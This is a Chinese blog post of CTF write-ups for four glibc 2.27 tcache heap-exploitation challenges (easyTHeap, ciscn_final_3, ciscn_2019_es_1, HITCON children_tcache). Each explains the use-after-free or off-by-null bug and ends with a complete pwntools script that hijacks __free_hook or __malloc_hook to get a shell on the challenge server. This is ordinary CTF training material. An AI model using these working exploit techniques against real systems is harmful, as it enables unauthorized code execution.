这次大部分是 tcache 题目

[V&N2020 公开赛]easyTHeap

基本情况

保护全开

[*] '/ctf/work/vn_pwn_easyTHeap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

基本堆管理器,有增删查改功能。用 chunk_ptr_list 和 chunk_size_list 两个链表维护堆,堆数量实际上不由两个全局变量控制,而是受限于 chunk_ptr_list 是否有空位写入。全部功能操作都是基于下标去两个链表寻找对应地址操作的。

漏洞

在释放的时候没有将 chunk_ptr_list 对应位置置零,造成 UAF :

if ( v1 < 0 || v1 > 6 || !chunk_ptr_list[v1] )
exit(0);
free((void *)chunk_ptr_list[v1]);
chunk_size_list[v1] = 0;                      // chunk_ptr_list 没有置零

注意一点是 chunk_size_list 对应位置被置零了,也就是不能使用 edit 功能写入:

printf("content:");
read(0, (void *)chunk_ptr_list[v1], (unsigned int)chunk_size_list[v1]);

思路

  1. 泄露堆地址,计算出 tcache struct 地址
  2. 修改结构体中对应 size 的数量标志位,将堆释放进 unsorted bin 泄露出 libc 地址
  3. 将 tcache 相关数量标志位恢复,将链头地址修改为 malloc_hook ,后面就是常规操作
为记笔记方便,下面所有地址均不是同一运行调试所得 Orz

当程序释放第一个堆进 tcache 时会申请一块 0x240 的空间放 tcache struct ,里面记录各个 size 的数量和链头地址。

Allocated chunk | PREV_INUSE
Addr: 0x5555564b5000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x5555564b5250
Size: 0x91

然后连续两次释放 chunk0 ,chunk0 fd 指针就会记录自己的地址。(tcache bin 中不会崩):

pwndbg> bin
tcachebins
0x90 [  2]: 0x55555656b260 ◂— 0x55555656b260

用程序查询功能泄露地址,其与 tcache struct 偏移固定的。

再申请相同 size 的堆,分配的是 chunk0 所在的空间,通过 edit 将 chunk0 fd 覆盖为 tcache struct ,两次分配后将堆分配到结构体上面。

顺便 gdb 记一下结构体内容,因为需要对应修改某个地址的值,达到修改某个 size 对应的链表。当申请的 size 时,需要修改的位置也会不一样。

image-20201019011117803

这里将 0x01 修改为 0x07 (MAX_NUM) ,到达上限后再释放一个堆就开始放入 unsorted bin 。释放 chunk0 ,show 泄露 libc 地址。

完事后,edit chunk3 将结构体 0x07 恢复为 0x01 ,链首地址修改为 malloc_hook 地址,形成这样的效果:

# tcache bin 0x90 这条链表中只有 1 个堆,地址为 malloc_hook
pwndbg> bin
tcachebins
0x90 [  1]: [malloc_hook地址] ……

这样下次分配就会分配到 malloc_hook 。实测后这个题目需要结合 realloc 调整栈帧环境,让 onegadget 生效。

EXP

下面这个脚本是成功攻击远程的,与前面原理一样,只是做题的时候在 docker 环境做 main_arean 的偏移算出来和远程的 18 不相同。。。

这里就直接将 tcache 全部链表数量都改了,然后将 malloc_hook-8 放到任意链首,然后申请对应大小的 chunk 就能分配到 malloc_hook 上了

from pwn import *
context(log_level='debug',arch='amd64',
    terminal=['tmux','sp','-h'])

# p = process(["/glibc/2.27/64/lib/ld-2.27.so", "./vn_pwn_easyTHeap"], env={"LD_PRELOAD":"/glibc/2.27/64/lib/libc.so.6"})
# libc = ELF("/glibc/2.27/64/lib/libc.so.6")
elf = ELF("./vn_pwn_easyTHeap")
p = remote("node3.buuoj.cn",28954)
libc = ELF("./libc-2.27.so")

def new(size):
    p.recvuntil(": ")
    p.sendline("1")
    p.recvuntil("?")
    p.sendline(str(size))
def edit(id,content):
    p.recvuntil(": ")
    p.sendline("2")
    p.recvuntil("?")
    p.sendline(str(id))
    p.recvuntil(":")
    p.send(content)
def show(id):
    p.recvuntil(": ")
    p.sendline("3")
    p.recvuntil("?")
    p.sendline(str(id))
def delete(id):
    p.recvuntil(": ")
    p.sendline("4")
    p.recvuntil("?")
    p.sendline(str(id))

new(0x50) #0
delete(0)
delete(0)
show(0)
heap_base = u64(p.recvuntil(b'\n', drop = True).ljust(8, b'\x00'))

new(0x50) #1 -> chunk0
edit(1, p64(heap_base - 0x250))
new(0x50) #2 -> chunk0
new(0x50) #3 -> tcache struct
edit(3, 'a'*0x24)

delete(3)
show(3)
libc_base = u64(p.recvuntil(b'\n', drop = True).ljust(8, b'\x00')) - 0x3ebca0#0x3afca0
log.info("libc_base:"+hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
log.info("malloc_hook:"+hex(malloc_hook))
realloc = libc_base + libc.sym['__libc_realloc']
log.info(hex(realloc))
one = libc_base + 0x4f322
new(0x100)#4 -> tcache struct
edit(4, b'b' * 0x60 +  p64(malloc_hook - 8))
# gdb.attach(p)
new(0x50)
edit(5, p64(one) + p64(realloc+8))
new(0x10)
p.interactive()

ciscn_final_3

基本情况

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

C++程序。只有两个功能,新建、释放堆块。数量上限为:24,大小限制为:0x78 。用列表维护,释放操作基于下标定位指针。

新建完成后会输出堆 fd 内存地址。

漏洞

free 没指令指针,造成 UAF :

unsigned __int64 my_free()
{
  __int64 v0; // rax
  unsigned int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>((__int64)&std::cin, (__int64)&v2);
  if ( v2 > 24 )
    exit(0);
  free((void *)chunk_ptr_list[v2]);             // UAF
  return __readfsqword(0x28u) ^ v3;
}

思路

刚刚做完[V&N2020 公开赛]easyTHeap利用 tcache 部分基本相同。这道题 chunk 数量上限挺高的,可以通过 free 7 个 chunk 占满空间,可以不需要劫持 tcache 结构体数量标志位。
  1. double free ,劫持 tcache bin 的 chunk0 fd 到 tcache struct 上
  2. 修改 struct 中数量标志位;修改 bin 链头的地址为 chunk0-0x10 ,后面修改 chunk0 size 为 unsorted bin 大小,用来泄露地址;多写几个链头为 chunk0 fd ,后面分配到 main_area 上输出地址
  3. 再次劫持 tcache struct ,改一个链头 free_hook

获取 chunk0 后面用来计算各个地址:

add(0,0x50,'a'*8)#0

p.recvuntil("gift :")
chunk0_addr = int(p.recv(14),16)
log.info("chunk0_addr:"+hex(chunk0_addr))
tcache_struct = chunk0_addr - 0x11e60

double free ,写 tcache bin 0x60 链表写入结构体地址;再次申请成功分配到结构体上,劫持结构体数量以及链头地址:

free(0)
free(0)
add(1,0x50,p64(tcache_struct))#0
add(2,0x50,p64(tcache_struct))#0
add(3,0x58,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(chunk0_addr)*2+p64(chunk0_addr-0x10))
  • 劫持链头要一个 chunk0_addr-0x10 用来修改 size ,另外一个 chunk0_addr 用来分配到 main_area 上泄露地址。
  • 那个 \x00 是 0x70 的位置,这里不覆盖用来再次 tcache bin doublue free 再次劫持结构体。

做 chunk0 释放到 unsorted bin 绕过,nextchunk inuse 位设置为 1 ,再申请一个防止与 topchunk 合并:

add(4,0x38,p64(0)+p64(0x101))#orw chunk0 size
add(5,0x40,'b'*8)# chunk0 free unsortbin 绕过检查 nextchunk inuse 检查,需要为1
add(6,0x40,'c'*8)# 同上
add(7,0x50,p64(0xdeadbeef))# 防止合并topchunk
free(0)
add(8,0x28,p64(0xdeadbeef))# chunk0
add(9,0x28,p64(chunk0_addr+0x150))# create on main_area

再次劫持 tcache 结构体将堆分配到 free_hook 上:

add(10,0x60,'a')
free(10)
free(10)
add(11,0x60,p64(tcache_struct))#10
add(12,0x60,p64(tcache_struct))#10
add(13,0x60,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(free_hook)*4)

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : [email protected]
from pwn import *
context(log_level='debug',os='linux',arch='amd64',
    terminal=['tmux','sp','-h'])

# p = process("./ciscn_final_3")
elf = ELF("./ciscn_final_3")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = remote("node3.buuoj.cn",27718)
libc = ELF("./libc.so.6")

def add(id,size,content):
    p.recvuntil("> ")
    p.sendline('1')
    p.recvuntil("index\n")
    p.sendline(str(id))
    p.recvuntil("size\n")
    p.sendline(str(size))
    p.recvuntil("thing\n")
    p.send(content)
def free(id):
    p.recvuntil("> ")
    p.sendline('2')
    p.recvuntil("index\n")
    p.sendline(str(id))

add(0,0x50,'a'*8)#0

p.recvuntil("gift :")
chunk0_addr = int(p.recv(14),16)
log.info("chunk0_addr:"+hex(chunk0_addr))
tcache_struct = chunk0_addr - 0x11e60

free(0)
free(0)
add(1,0x50,p64(tcache_struct))#0
add(2,0x50,p64(tcache_struct))#0
add(3,0x58,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(chunk0_addr)*2+p64(chunk0_addr-0x10))

add(4,0x38,p64(0)+p64(0x101))#orw chunk0 size
add(5,0x40,'b'*8)# chunk0 free unsortbin 绕过检查 nextchunk inuse 检查,需要为1
add(6,0x40,'c'*8)# 同上
add(7,0x50,p64(0xdeadbeef))# 防止合并topchunk

free(0)
add(8,0x28,p64(0xdeadbeef))# chunk0
add(9,0x28,p64(chunk0_addr+0x150))# create on main_area

p.recvuntil("gift :")
main_area = int(p.recv(14),16)
log.info("main_area:"+hex(main_area))
libc_base = main_area - 0x3ebca0
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
log.info("system:"+hex(system))
# gdb.attach(p)
# 再次劫持tcache struct
add(10,0x60,'a')
free(10)
free(10)
add(11,0x60,p64(tcache_struct))#10
add(12,0x60,p64(tcache_struct))#10
add(13,0x60,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(free_hook)*4)

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
# free_hook 写入 onegadget
onegadget = libc_base + 0x4f322#0x4f3c2
add(14,0x40,p64(onegadget))

free(10)

p.interactive()

ciscn_2019_es_1

基本情况

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

简单堆管理程序,有增删查功能。chunk 上限为 12 个,有 0x18 的结构体,又通过链表管理结构体。结构体如下:

struct
{
    void **chunk_ptr;//8bit
    size_t size;//4bit
    int number;//(12-1)bit
}

漏洞

在 free 中,只是单单释放 data chunk ,结构体 chunk 以及对应链表都完整保留,释放 data chunk 时,没有将结构体中对应位置置零,造成 UAF 。

unsigned __int64 call()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please input the index:");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 && v1 > 12 )
    exit(0);
  if ( heap_addr[v1] )
    free(*heap_addr[v1]);                       // UAF
  puts("You try it!");
  puts("Done");
  return __readfsqword(0x28u) ^ v2;
}

思路

  1. double free 泄露堆地址,劫持 tcache struct ,控制链头分配到 chunk0 size
  2. free chunk0 到 unsorted bin 泄露 libc 地址
  3. 劫持 free_hook 为 onegadget

tcache 常规的 double free 泄露地址:

add(0x60,'a'*8,'b'*0xc)#0
free(0)
free(0)
show(0)

p.recvuntil("name:\n")
chunk_addr = u64(p.recv(6).ljust(8,'\x00'))

修改 tcache bin 中的数量以及链头地址:

add(0x60,p64(tcache_addr),'f'*8)#1
add(0x60,p64(tcache_addr),'e'*8)#2
add(0x60,('\x00'+'a'*5+'\x00').ljust(0x40,'a')+p64(tcache_addr)*3+p64(tcache_addr-0x10),'c'*0x4+p64(chunk_addr+0x70))#3
  • tcahce_addr 方便再次申请 chunk0
  • tcache_addr - 0x10 用来修改 chunk0 的 size
  • 劫持数量标志位保留一个,后面用来 double free

释放 chunk0 获取 libc 地址:

free(3)
show(3)

p.recvuntil("name:\n")
main_area = u64(p.recv(6).ljust(8,'\x00'))

再次 double free tcache 将 chunk 分配到 free_hook 上:

add(0x48,'\x00'*0x48,'b')
free(0)
free(0)
add(0x60,p64(free_hook),'b'*8)#1
add(0x60,p64(free_hook),'b'*8)#2
add(0x60,p64(onegadget),'b'*8)

EXP

from pwn import *
context(log_level='info',os='linux',arch='amd64',
    terminal=['tmux','sp','-h'])

# p = process("./ciscn_2019_es_1")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./ciscn_2019_es_1")
p = remote("node3.buuoj.cn",27240)
libc = ELF("./libc-2.27.so")

def add(size,name,number):
    p.recvuntil(":")
    p.sendline('1')
    p.recvuntil("name\n")
    p.sendline(str(size))
    p.recvuntil(":\n")
    p.send(name)
    p.recvuntil("call:\n")
    p.send(number)
def show(id):
    p.recvuntil(":")
    p.sendline('2')
    p.recvuntil("index:\n")
    p.sendline(str(id))
def free(id):
    p.recvuntil(":")
    p.sendline('3')
    p.recvuntil("index:\n")
    p.sendline(str(id))

add(0x60,'a'*8,'b'*0xc)#0
free(0)
free(0)
show(0)

p.recvuntil("name:\n")
chunk_addr = u64(p.recv(6).ljust(8,'\x00'))
tcache_addr = chunk_addr - 0x270
log.info("tcache_addr:"+hex(tcache_addr))

add(0x60,p64(tcache_addr),'f'*8)#1
add(0x60,p64(tcache_addr),'e'*8)#2
add(0x60,('\x00'+'a'*5+'\x00').ljust(0x40,'a')+p64(tcache_addr)*3+p64(tcache_addr-0x10),'c'*0x4+p64(chunk_addr+0x70))#3
# add(0x80,'a','b')
free(3)
show(3)

p.recvuntil("name:\n")
main_area = u64(p.recv(6).ljust(8,'\x00'))
libc_base = main_area - 0x3ebca0
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
log.info("free_hook:"+hex(free_hook))
log.info("malloc_hook:"+hex(malloc_hook))

one = [0x4f365,0x4f3c2,0x10a45c]
onegadget = libc_base + 0x4f322#one[1]
log.info("onegadget:"+hex(onegadget))

add(0x48,'\x00'*0x48,'b')
free(0)
free(0)
add(0x60,p64(free_hook),'b'*8)#1
add(0x60,p64(free_hook),'b'*8)#2
add(0x60,p64(onegadget),'b'*8)
# gdb.attach(p)

free(0)

p.interactive()

HITCON_2018_children_tcache

tcache 结合 off by null

基本情况

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
FORTIFY:  Enabled

基本堆管理器,有增删查功能。用 chunk_ptr_list 和 chunk_size_list 两个链表维护,数量上限为 12 ,使用的不是只递增的下标,而是哪个下标没有使用就用哪个,即只能同时存在 12 个。

漏洞

写入堆数据时,调用函数先写入到 tmp 局部变量,然后通过 strcpy 写入到堆上。写入函数本身没有问题,写入长度为 size ,将最后一字节替换为结束符。

问题出在使用 strcpy :

strcpy 字符串复制函数。复制时,遇到结束符 \x00 才会停止复制。复制结束后,会在最后写入一个结束符 \x00

缓冲区的长度为 size ,chunk 空间为 size ,strcpy 写入 size 后,会再次写入 \x00 ,造成 off by null :

write_chunk((__int64)&tmp, size);
strcpy(ptr, &tmp);

思路

off by null 想到堆重叠(overlapping),和 16 区别主要是申请的 unsorted bin 大小需要大于 0x408 来避免 chunk 放入 tcache 。

溢出修改 inuse 位比较简单,申请使用下一个 chunk prev_size 的堆直接写满就行,就是 prev_size 怎么写需要想一下办法。因为 free chunk 之前会使用 memset 往堆里填充 size 个 0xda 。

  1. 布置 4 个堆,先释放 chunk0 做好向前 unlink 准备。
  2. 通过写 chunk1 实现:溢出修改 chunk2 inuse ,还原 chunk2 prev_size ,伪造 chunk2 prev_size
  3. tcache bin double free 劫持 __free_hook 为 onegadget

整体堆分布和 16 的一样:

chunk0 unsorted bin
chunk1 
chunk2 unsorted bin
chunk3 protect

chunk0 2 需要大于 0x408 能直接放入 unsorted bin 。chunk2 最低字节需要为 0x01 ,绕过 unlink 检查 next chunk inuse 位。

然后先把 chunk0 给释放了,后面在释放也可以

add(0x410,'s')
add(0xe8,'k')
add(0x4f0,'y')
add(0x60,'e')

free(0)

溢出修改 inuse 就直接写满堆就行了:释放 chunk1 ,再次申请并写满。

free 的 memset 写入的字节长度是 chunk_size ,也就是申请多少,free 填充多少,但是 malloc 并不是这样,malloc 会自动对齐。举个例子:

size=0xe8 -> chunk_size=0xf0
size=0xe7 -> chunk_size=0xf0
size=0xe6 -> chunk_size=0xf0

结合以上特点,利用 off by null 逐步将溢出 inuse 时被填充为 0xdadadadadadadada 的 prev_size 还原回来(恢复 prev_size 高 5 字节就行了)

溢出修改 inuse :

image-20201024003012232

恢复最高字节:

free(0)
add(0xe7,'k'*0xe7)

以此类推写成循环即可:

free(1)
for i in range(0,6):
    add(0xe8-i,'k'*(0xe8-i))
    free(0)
add(0xe8,'k'*0xe0+p64(0x510))

构造完成利用条件,后面是常规 unsortbin 泄露:

free(2)
add(0x410,'leak libc')
show(0)

leak_addr = u64(p.recv(6).ljust(8,'\x00'))

最后 getshell 利用 tcache double free 将堆分配到 free_hook 。虽然程序没有 UAF ,但是前面 unsortbin 利用完还有一大块堆在 bin 中,刚好堆头在 chunk1 (用来泄露地址那个堆),本身已经有一个指针了,然后再申请一个相同大小的堆就有第二个指针了。

add(0x60,'getshell')
free(0)
free(2)

add(0x60,p64(free_hook))
add(0x60,p64(free_hook))
onegadget = libc_base + 0x4f322#0x4f3c2
log.info("onegadget:"+hex(onegadget))
log.info("free_hook"+hex(free_hook))
add(0x60,p64(onegadget))

# gdb.attach(p,"b *$rebase(0x202060)")

free(0)

EXP

from pwn import *
context(log_level='debug',arch='amd64',
    terminal=['tmux','sp','-h'])

# p = process("./HITCON_2018_children_tcache")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./HITCON_2018_children_tcache")
p = remote("node3.buuoj.cn",28300)
libc = ELF("./libc-2.27.so")

def add(size, content):
    p.recvuntil("Your choice: ")
    p.sendline('1')
    p.recvuntil("Size:")
    p.sendline(str(size))
    p.recvuntil("Data:")
    p.send(content)

def free(index):
    p.recvuntil("Your choice: ")
    p.sendline('3')
    p.recvuntil("Index:")
    p.sendline(str(index))

def show(index):
    p.recvuntil("Your choice: ")
    p.sendline('2')
    p.recvuntil("Index:")
    p.sendline(str(index))

add(0x410,'s')
add(0xe8,'k')
add(0x4f0,'y')
add(0x60,'e')

free(0)

free(1)
for i in range(0,6):
    add(0xe8-i,'k'*(0xe8-i))
    free(0)
add(0xe8,'k'*0xe0+p64(0x510))

free(2)
add(0x410,'leak libc')
show(0)

leak_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libc_base = leak_addr -0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']

add(0x60,'getshell')
free(0)
free(2)

add(0x60,p64(free_hook))
add(0x60,p64(free_hook))
onegadget = libc_base + 0x4f322#0x4f3c2
log.info("onegadget:"+hex(onegadget))
log.info("free_hook"+hex(free_hook))
add(0x60,p64(onegadget))

# gdb.attach(p,"b *$rebase(0x202060)")

free(0)

p.interactive()
Last modification:October 24th, 2020 at 01:00 am